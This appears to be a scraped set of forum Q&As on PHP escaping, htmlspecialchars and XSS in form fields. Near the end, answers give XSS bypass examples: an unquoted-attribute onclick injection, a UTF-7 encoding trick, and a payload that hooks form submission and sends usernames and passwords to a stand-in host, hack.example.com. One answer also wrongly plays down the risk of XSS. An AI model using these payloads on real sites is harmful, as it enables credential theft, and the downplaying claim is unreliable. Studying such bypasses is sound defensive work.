I'm building a PHP intranet for my boss. A simple customer, order, quote system. It will be denied access from the Internet and only used by 3 people. I'm not so concerned with security as I am with validation. Javascript is disables on all machines.
The problem I have is this:
Employee enters valid data into a form containing any of the following :;[]"' etc.
Form $_POSTS this data to a validationAndProcessing.php page, and determines whether the employee entered data or not in to the fields. If they didn't they are redirected back to the data input page and the field they missed out is highlighted in red.
htmlspecialchars() is applied to all data being re-populated to the form from what they entered earlier.
Form is then resubmitted to validationAndProcessing.php page, if successful data is entered into the database and employee is taken to display data page.
My question is this:
If an employee repeatedly enters no data in step 1, they will keep moving between step 1 and 4 each time having htmlspecialchars() applied to the data.
So that:- &
becomes:- &
becomes:- &
becomes:- &
etc..
How can I stop htmlspecialchars() being applied multiple times to data that is already cleaned?
Thanks,
Adam
Check the manual page on htmlspecialchars:
string htmlspecialchars ( string $string [, int $quote_style = ENT_COMPAT [, string $charset [, bool $double_encode = true ]]] )
the $double_encode option should be what you are looking for.
In a properly set up data flow, though, this shouldn't be a possibility at all, except if there is data incoming from the user or a 3rd party service that could or could not already contain HTML encoded characters. (Not that I haven't built a few improperly set up data flows in my career. But that's why I know why it's so important they're clean and well defined. :-)
You should only be using htmlspecialchars in the HTML output, never anywhere else.
<input name="var" value="<?php echo htmlspecialchars($var)?>">
If $var contained an ampersand, say, then in the HTML it would output the encoded value:
<input name="var" value="this&that">
However, the user would only see this&that in their input field, and upon submission, $_GET['var'] will be this&that, not the encoded version.
On the PHP side of things the only thing you may want to do is remove slashes if magic quotes are on:
if (get_magic_quotes_gpc())
$var = stripslashes($_POST['var']);
else
$var = $_POST['var'];
From there you should store the raw data in the database, not HTML-encoded versions. To avoid SQL injection, use mysql_real_escape_string if you're using normal mysql functions, or use PDO instead.
So that:- &
becomes:- &
becomes:- &
becomes:- &amp;
You are simply wrong.
Just try it and see
<form>
<input name="a" value="<?=htmlspecialchars($_GET["a"])?>">
<input type=submit>
</form>
Related
I have a PHP code as shown below in which on POST call, I am getting encrypted value instead of the character. For example, on entering Hello World' I get this Hello World' instead of Hello World' on console (from Line Z).
In the form_validator.php, I am using the following:
if (isset($_POST["response"]))
$response = $_POST["response"];
print_r($response);
In the form.php, I have the following code:
<form id="acbdef" name="abcdef" action="#" method="post">
<table width="100%" class="wb-tables table">
<tr>
<td>
<?php echo SECRET_RESPONSE;?>:
</td>
<td colspan="2"><input type="text" id="response" name="response" value="" /></td>
</tr>
</table>
</form>
<script>
// Test all the fields in another php page using javax and receive the result by JSON
$("#save").click(function () {
$.post('form_validator.php', $("#abcdef").serialize(), function (data) {
console.log(data); // Line Z
});// end function(data)
});
</script>
In the config.php, I have the following:
$_GET = filter_input_array(INPUT_GET, FILTER_SANITIZE_STRING);
$_POST = filter_input_array(INPUT_POST, FILTER_SANITIZE_STRING);
$_REQUEST = (array) $_POST + (array) $_GET + (array) $_REQUEST;
Problem Statement :
I am wondering what changes I need to make in the php code above so that it takes the character itself instead of HTML coded apostrophe.
The problem is in your config.php where you have the following line:
$_POST = filter_input_array(INPUT_POST, FILTER_SANITIZE_STRING);
This will HTML-encode single and double quotes in the input, as defined in chapter Sanitize filters:
FILTER_SANITIZE_STRING
Strip tags and HTML-encode double and single quotes, optionally strip or encode special characters. Encoding quotes can be disabled by setting FILTER_FLAG_NO_ENCODE_QUOTES. (Deprecated as of PHP 8.1.0, use htmlspecialchars() instead.)
If you don't want to convert any single or double quotes in their respective HTML-encoded strings, then use the flag FILTER_FLAG_NO_ENCODE_QUOTES or don't use the FILTER_SANITIZE_STRING filter (it is deprecated anyway).
#Progman's answer is how to fix your issue with configuration, and covers which argument flags you might want to use.
I wanted to ensure the why was better understood.
Your string is technically not encrypted, rather it has been encoded, it has been transformed to an HTML "safe" equivalent -- using HTML character entities. You can read more about that here https://developer.mozilla.org/en-US/docs/Glossary/Entity
But essentially, the ' has been converted to an HTML entity code '. The idea being, it has become safe to embed in an HTML document, without it itself being interpreted as HTML, but as simply text.
It's a very simular concept to escaping strings, only specificly for HTML documents and Web Browsers.
All HTML entities can be represented as there literals or their entity codes. In this case ' can be written literally as ' or as '.
Most scripting languages have functions to perform these conversions for you. Such as PHP's html_entity_decode and htmlentities functions.
--
PHP Frameworks. Some frameworks will hook into your $_GLOBALS very early on, as the request is first recieved, and perform basic Sanitization on your request data. If you are using such a framework, perhaps that would explain where the initial encoding is being performed.
The basic idea here, is perhaps, since such conversions are generally needed anyways, for reuse of the request information, why not ensure it is normalized early on, and perhaps stored in any database in such a manner to remain HTML "safe".
You seems to be serializing the input. In jquery before you send it to your php. You will need to decode it before you print it.
Check out https://www.php.net/manual/en/function.html-entity-decode as a place to start
I want to post data into database in safe mode.
For example if i want to add this title to database:
$title = " here is title 'here is title' here is title ";
notice it has apostrophes.
I use this function to make string safe:
function stringsafe($string)
{
$string = strip_tags(trim(addslashes($string)));
return $string;
}
as you see it's adding slashes before apostrophes to make it safe.
I tried to remove slashes when i show the data by stripslashes, it's working but it's has some problems. Is there anyway to post data into database?
On a side note, in fact the general rules of thumb is that, you shouldn't alter user input at all. You should store whatever user input as it is, into your database, so that you can retain user input as original as possible, and only escape it when you need to display or use it.
In your case, yes you are right you have to prevent it from being injected, but you are altering the original input by adding slashes into the original input, which is not very favoured. What if my title contains a string like this <My 21st Birthday Party!> and you stripped it away?
Try using Prepared Statements instead so you can insert any data into your database, without the worries of injection. And only when you need the data to be displayed on a HTML page or console, you escape them accordingly such as htmlentities.
I have php code like this
<?php
$input_from_user = "w' onclick = 'alert(document.cookie);'";
$i_am_barcelona_fan = htmlentities($input_from_user);
?>
<input type = 'text' name = 'messi_fan' value ='<?php echo $i_am_barcelona_fan;?>' />
I am using htmlentities to protect from XSS attack, but still I am vulnerable to the above string.
Why is my code vulnerable to XSS attack? How can I protect from my code from it?
You're not telling PHP to escape quotes as well, and you should use htmlspecialchars() instead:
<input type = 'text' name = 'messi_fan' value ='<?php echo htmlspecialchars($input_from_user, ENT_QUOTES, 'UTF-8'); ?>' />
Demo
Never ever (ever) trust foreign input introduced to your PHP code. Always sanitize and validate foreign input before using it in code. The filter_var and filter_input functions can sanitize text and validate text formats (e.g. email addresses).
Foreign input can be anything: $_GET and $_POST form input data, some values in the $_SERVER superglobal, and the HTTP request body via fopen('php://input', 'r'). Remember, foreign input is not limited to form data submitted by the user. Uploaded and downloaded files, session values, cookie data, and data from third-party web services are foreign input, too.
While foreign data can be stored, combined, and accessed later, it is still foreign input. Every time you process, output, concatenate, or include data in your code, ask yourself if the data is filtered properly and can it be trusted.
Data may be filtered differently based on its purpose. For example, when unfiltered foreign input is passed into HTML page output, it can execute HTML and JavaScript on your site! This is known as Cross-Site Scripting (XSS) and can be a very dangerous attack. One way to avoid XSS is to sanitize all user-generated data before outputting it to your page by removing HTML tags with the strip_tags function or escaping characters with special meaning into their respective HTML entities with the htmlentities or htmlspecialchars functions.
Another example is passing options to be executed on the command line. This can be extremely dangerous (and is usually a bad idea), but you can use the built-in escapeshellarg function to sanitize the executed command’s arguments.
One last example is accepting foreign input to determine a file to load from the filesystem. This can be exploited by changing the filename to a file path. You need to remove ”/”, “../”, null bytes, or other characters from the file path so it can’t load hidden, non-public, or sensitive files.
Learn about data filtering (http://www.php.net/manual/en/book.filter.php)
Learn about filter_var (http://php.net/manual/en/function.filter-var.php)
I've recently thrown together a basic PHP webpage that lists information pulled from an MySQL table and displays it in various sorts. I'm wanting to allow the user to add a new item to the table, edit an item in the list and delete an item in the list without refreshing the page (Ajax).
This currently goes;
To add/edit an article you click on a link which prompts the popover ajax form, and fills it's contents (if editing) by performing the function setEdit(comment) as below;
<a class="popup-button" title="<?php echo $row['comment']; ?>" onclick="setEdit('<?php if($row['comment']){ echo $row['comment']; } else { echo "Enter comment here..."; } ?>');"><?php echo $row['listitem']; ?></a>
The setEdit() comment is as follows;
function setEdit(editcomment)
{
if(editcomment){ document.getElementById('help-us-comment').value=editcomment; }
}
Which is then, after submitting the ajax form, handled by the following php code;
if(isset($_POST['comment_text']))
$comment=$_POST['comment_text'];
$sql = "INSERT INTO table SET
comment='$comment'";
Problem: I'm having constant issues trying to get the database contents through 1, 2, 3 without falling over at a new line, single or double quote. I've tried endless combinations of replacing tags, htmlspecialchars and nl2br with no half successes - where it's got to the point that it's so convoluted and encoded/decoded now that I'm assuming that there is a far simpler and obvious way that I'm missing.
The main problem happens when trying to load the data into the form, typically having either the form fall over and refuse to populate at all (typically by the a link becoming broken by the data extracted i.e. single quote or new line) or the form being populated with special characters instead of plain text to edit.
I've tried to go into as much detail as possible, but if any more is needed I'm happy to provide. Also apologies if this is an obvious fix/mistake, and I'm being an idiot.
You have two problems here: storing and displaying.
To display you should look in to htmlentities that makes it safe HTML (it does all the quotes replacing, html encoding, etc. for you) so that your string to be safe to be displayed as plain text, or as inputs' values.
To store the data, you should sanitize your queries. You could use mysqli and bind parameters, or use mysql_real_escape_string to escape your input manually.
Otherwise, say hi to Bobby Tables ;)
Let's say we have this form, and the possible part for a user to inject malicious code is this below
...
<input type=text name=username value=
<?php echo htmlspecialchars($_POST['username']); ?>>
...
We can't simply put a tag, or a javascript:alert(); call, because value will be interpreted as a string, and htmlspecialchars filters out the <,>,',", so We can't close off the value with quotations.
We can use String.fromCode(.....) to get around the quotes, but I still unable to get a simple alert box to pop up.
Any ideas?
Also, it's important to mention that allowing people to inject HTML or JavaScript into your page (and not your datasource) carries no inherent security risk itself. There already exist browser extensions that allow you to modify the DOM and scripts on web pages, but since it's only client-side, they're the only ones that will know.
Where XSS becomes a problem is when people a) use it to bypass client-side validation or input filtering or b) when people use it to manipulate input fields (for example, changing the values of OPTION tags in an ACL to grant them permissions they shouldn't have). The ONLY way to prevent against these attacks is to sanitize and validate input on the server-side instead of, or in addition to, client-side validation.
For sanitizing HTML out of input, htmlspecialchars is perfectly adequate unless you WANT to allow certain tags, in which case you can use a library like HTMLPurifier. If you're placing user input in HREF, ONCLICK, or any attribute that allows scripting, you're just asking for trouble.
EDIT: Looking at your code, it looks like you aren't quoting your attributes! That's pretty silly. If someone put their username as:
john onclick="alert('hacking your megabits!1')"
Then your script would parse as:
<input type=text name=username value=john onclick="alert('hacking your megabits!1')">
ALWAYS use quotes around attributes. Even if they aren't user-inputted, it's a good habit to get into.
<input type="text" name="username" value="<?php echo htmlspecialchars($_POST['username']); ?>">
There's one way. You aren't passing htmlspecialchars() the third encoding parameter or checking encoding correctly, so:
$source = '<script>alert("xss")</script>';
$source = mb_convert_encoding($source, 'UTF-7');
$source = htmlspecialchars($source); //defaults to ISO-8859-1
header('Content-Type: text/html;charset=UTF-7');
echo '<html><head>' . $source . '</head></html>';
Only works if you can a) set the page to output UTF-7 or b) trick the page into doing so (e.g. iframe on a page without a clear charset set). The solution is to ensure all input is of the correct encoding, and that the expected encoding is correctly set on htmlspecialchars().
How it works? In UTF-7, <>" chars have different code points than UTF-8/ISO/ASCII so they are not escaped unless convert the output to UTF-8 for assurance (see iconv extension).
value is a normal HTML attribute, and has nothing to do with Javascript.
Therefore, String.fromCharCode is interpreted as a literal value, and is not executed.
In order to inject script, you first need to force the parser to close the attribute, which will be difficult to do without >'".
You forgot to put quotes around the attribute value, so all you need is a space.
Even if you do quote the value, it may still be vulnerable; see this page.
Somewhat similar to Daniel's answer, but breaking out of the value= by first setting a dummy value, then adding whitespace to put in the script which runs directly by a trick with autofocus, setting the input field blank and then adds a submit function which runs when the form is submitted, leaking the username and password to an url of my choice, creating strings from the string prototype without quotation (because quotations would be sanitized):
<body>
<script type="text/javascript">
function redirectPost(url, data) {
var form = document.createElement('form');
document.body.appendChild(form);
form.method = 'post';
form.action = url;
for (var name in data) {
var input = document.createElement('input');
input.type = 'hidden';
input.name = name;
input.value = data[name];
form.appendChild(input);
}
form.submit();
}
redirectPost('http://f00b4r/b4z/', { login_username: 'a onfocus=document.loginform.login_username.value=null;document.forms[0].onsubmit=function(){fetch(String(/http:/).substring(1).slice(0,-1)+String.fromCharCode(47)+String.fromCharCode(47)+String(/hack.example.com/).substring(1).slice(0,-1)+String.fromCharCode(47)+String(/logger/).substring(1).slice(0,-1)+String.fromCharCode(47)+String(/log.php?to=haxxx%40example.com%26payload=/).substring(1).slice(0,-1)+document.loginform.login_username.value+String.fromCharCode(44)+document.loginform.login_password.value+String(/%26send_submit=Send+Email/).substring(1).slice(0,-1)).then(null).then(null)}; autofocus= '});
</script>
You cannt exploit that input field which contain that func but you can exploit any btn or paragraph or heading or text near it by:
like you can add this on btn -> onclick=alert('Hello')